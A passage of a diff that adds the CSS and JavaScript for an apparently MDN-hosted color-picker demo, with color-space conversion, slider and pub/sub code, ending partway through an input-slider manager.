+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container > * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls > * {
+	float: left;
+}
+
+#color-palette .controls > *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Drop colors here to compare";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: right;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "adjust, change or modify";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click to activate";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover > * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value < 0 || value > 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H >= 0 && H < 1) {	this.setRGBA(C, X, m);	return; }
+		if (H >= 1 && H < 2) {	this.setRGBA(X, C, m);	return; }
+		if (H >= 2 && H < 3) {	this.setRGBA(m, C, X);	return; }
+		if (H >= 3 && H < 4) {	this.setRGBA(m, X, C);	return; }
+		if (H >= 4 && H < 5) {	this.setRGBA(X, m, C);	return; }
+		if (H >= 5 && H < 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue < 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r < 16) r = '0' + r;
+		if (this.g < 16) g = '0' + g;
+		if (this.b < 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
+		var preview_box = document.createElement('div');
+		var preview_color = document.createElement('div');
+
+		preview_box.className = 'preview';
+		preview_color.className = 'preview-color';
+
+		this.preview_color = preview_color;
+
+		preview_box.appendChild(preview_color);
+		this.node.appendChild(preview_box);
+	};
+
+	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
+		var wrapper = document.createElement('div');
+		var input = document.createElement('input');
+		var info = document.createElement('span');
+
+		wrapper.className = 'input';
+		wrapper.setAttribute('data-topic', topic);
+		info.textContent = title;
+		info.className = 'name';
+		input.setAttribute('type', 'text');
+
+		wrapper.appendChild(info);
+		wrapper.appendChild(input);
+		this.node.appendChild(wrapper);
+
+		input.addEventListener('change', onChangeFunc);
+		input.addEventListener('click', function() {
+			this.select();
+		});
+
+		this.subscribe(topic, function(value) {
+			input.value = value;
+		});
+	};
+
+	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
+
+		var button = document.createElement('div');
+		button.className = 'switch_mode';
+		button.addEventListener('click', function() {
+			if (this.picker_mode === 'HSV')
+				this.setPickerMode('HSL');
+			else
+				this.setPickerMode('HSV');
+
+		}.bind(this));
+
+		this.node.appendChild(button);
+	};
+
+	/*************************************************************************/
+	//					Updates properties of UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updateColor = function updateColor(e) {
+		var x = e.pageX - this.picking_area.offsetLeft;
+		var y = e.pageY - this.picking_area.offsetTop;
+		var picker_offset = 5;
+
+		// width and height should be the same
+		var size = this.picking_area.clientWidth;
+
+		if (x > size) x = size;
+		if (y > size) y = size;
+		if (x < 0) x = 0;
+		if (y < 0) y = 0;
+
+		var value = 100 - (y * 100 / size) | 0;
+		var saturation = x * 100 / size | 0;
+
+		if (this.picker_mode === 'HSV')
+			this.color.setHSV(this.color.hue, saturation, value);
+		if (this.picker_mode === 'HSL')
+			this.color.setHSL(this.color.hue, saturation, value);
+
+		this.color_picker.style.left = x - picker_offset + 'px';
+		this.color_picker.style.top = y - picker_offset + 'px';
+
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('value', value);
+		this.notify('lightness', value);
+		this.notify('saturation', saturation);
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
+		var x = e.pageX - this.hue_area.offsetLeft;
+		var width = this.hue_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		// TODO 360 => 359
+		var hue = ((359 * x) / width) | 0;
+		// if (hue === 360) hue = 359;
+
+		this.updateSliderPosition(this.hue_picker, x);
+		this.setHue(hue);
+	};
+
+	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
+		var x = e.pageX - this.alpha_area.offsetLeft;
+		var width = this.alpha_area.clientWidth;
+
+		if (x < 0) x = 0;
+		if (x > width) x = width;
+
+		this.color.a = (x / width).toFixed(2);
+
+		this.updateSliderPosition(this.alpha_picker, x);
+		this.updatePreviewColor();
+
+		this.notify('alpha', this.color.a);
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setHue = function setHue(value) {
+		this.color.setHue(value);
+
+		this.updatePickerBackground();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+		this.notify('hue', this.color.hue);
+
+		notify(this.topic, this.color);
+	};
+
+	// Updates when one of Saturation/Value/Lightness changes
+	ColorPicker.prototype.updateSLV = function updateSLV() {
+		this.updatePickerPosition();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+		this.notify('hexa', this.color.getHexa());
+
+		notify(this.topic, this.color);
+	};
+
+	/*************************************************************************/
+	//				Update positions of various UI elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
+		var size = this.picking_area.clientWidth;
+		var value = 0;
+		var offset = 5;
+
+		if (this.picker_mode === 'HSV')
+			value = this.color.value;
+		if (this.picker_mode === 'HSL')
+			value = this.color.lightness;
+
+		var x = (this.color.saturation * size / 100) | 0;
+		var y = size - (value * size / 100) | 0;
+
+		this.color_picker.style.left = x - offset + 'px';
+		this.color_picker.style.top = y - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
+		elem.style.left = Math.max(pos - 3, -2) + 'px';
+	};
+
+	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
+		var size = this.hue_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.hue * size / 360 ) | 0;
+		this.hue_picker.style.left = pos - offset + 'px';
+	};
+
+	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
+		var size = this.alpha_area.clientWidth;
+		var offset = 1;
+		var pos = (this.color.a * size) | 0;
+		this.alpha_picker.style.left = pos - offset + 'px';
+	};
+
+	/*************************************************************************/
+	//						Update background colors
+	/*************************************************************************/
+
+	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
+		var nc = new Color(this.color);
+		nc.setHSV(nc.hue, 100, 100);
+		this.picking_area.style.backgroundColor = nc.getHexa();
+	};
+
+	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
+		this.alpha_mask.style.backgroundColor = this.color.getHexa();
+	};
+
+	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
+		this.preview_color.style.backgroundColor = this.color.getColor();
+	};
+
+	/*************************************************************************/
+	//						Update input elements
+	/*************************************************************************/
+
+	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
+		var value = parseInt(e.target.value);
+		this.setHue(value);
+		this.updateHuePicker();
+	};
+
+	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
+		var value = parseInt(e.target.value);
+		this.color.setSaturation(value);
+		e.target.value = this.color.saturation;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setValue(value);
+		e.target.value = this.color.value;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
+		var value = parseInt(e.target.value);
+		this.color.setLightness(value);
+		e.target.value = this.color.lightness;
+		this.updateSLV();
+	};
+
+	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('r', value);
+		e.target.value = this.color.r;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('g', value);
+		e.target.value = this.color.g;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
+		var value = parseInt(e.target.value);
+		this.color.setByName('b', value);
+		e.target.value = this.color.b;
+		this.setColor(this.color);
+	};
+
+	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
+		var value = parseFloat(e.target.value);
+
+		if (typeof value === 'number' && isNaN(value) === false &&
+			value >= 0 && value <= 1)
+			this.color.a = value.toFixed(2);
+
+		e.target.value = this.color.a;
+		this.updateAlphaPicker();
+	};
+
+	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
+		var value = e.target.value;
+		this.color.setHexa(value);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//							Internal Pub/Sub
+	/*************************************************************************/
+
+	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
+		this.subscribers[topic] = callback;
+	};
+
+	ColorPicker.prototype.notify = function notify(topic, value) {
+		if (this.subscribers[topic])
+			this.subscribers[topic](value);
+	};
+
+	/*************************************************************************/
+	//							Set Picker Properties
+	/*************************************************************************/
+
+	ColorPicker.prototype.setColor = function setColor(color) {
+		if(color instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		if (color.format !== this.picker_mode) {
+			color.setFormat(this.picker_mode);
+			color.updateHSX();
+		}
+
+		this.color.copy(color);
+		this.updateHuePicker();
+		this.updatePickerPosition();
+		this.updatePickerBackground();
+		this.updateAlphaPicker();
+		this.updateAlphaGradient();
+		this.updatePreviewColor();
+
+		this.notify('red', this.color.r);
+		this.notify('green', this.color.g);
+		this.notify('blue', this.color.b);
+
+		this.notify('hue', this.color.hue);
+		this.notify('saturation', this.color.saturation);
+		this.notify('value', this.color.value);
+		this.notify('lightness', this.color.lightness);
+
+		this.notify('alpha', this.color.a);
+		this.notify('hexa', this.color.getHexa());
+		notify(this.topic, this.color);
+	};
+
+	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
+		if (mode !== 'HSV' && mode !== 'HSL')
+			return;
+
+		this.picker_mode = mode;
+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
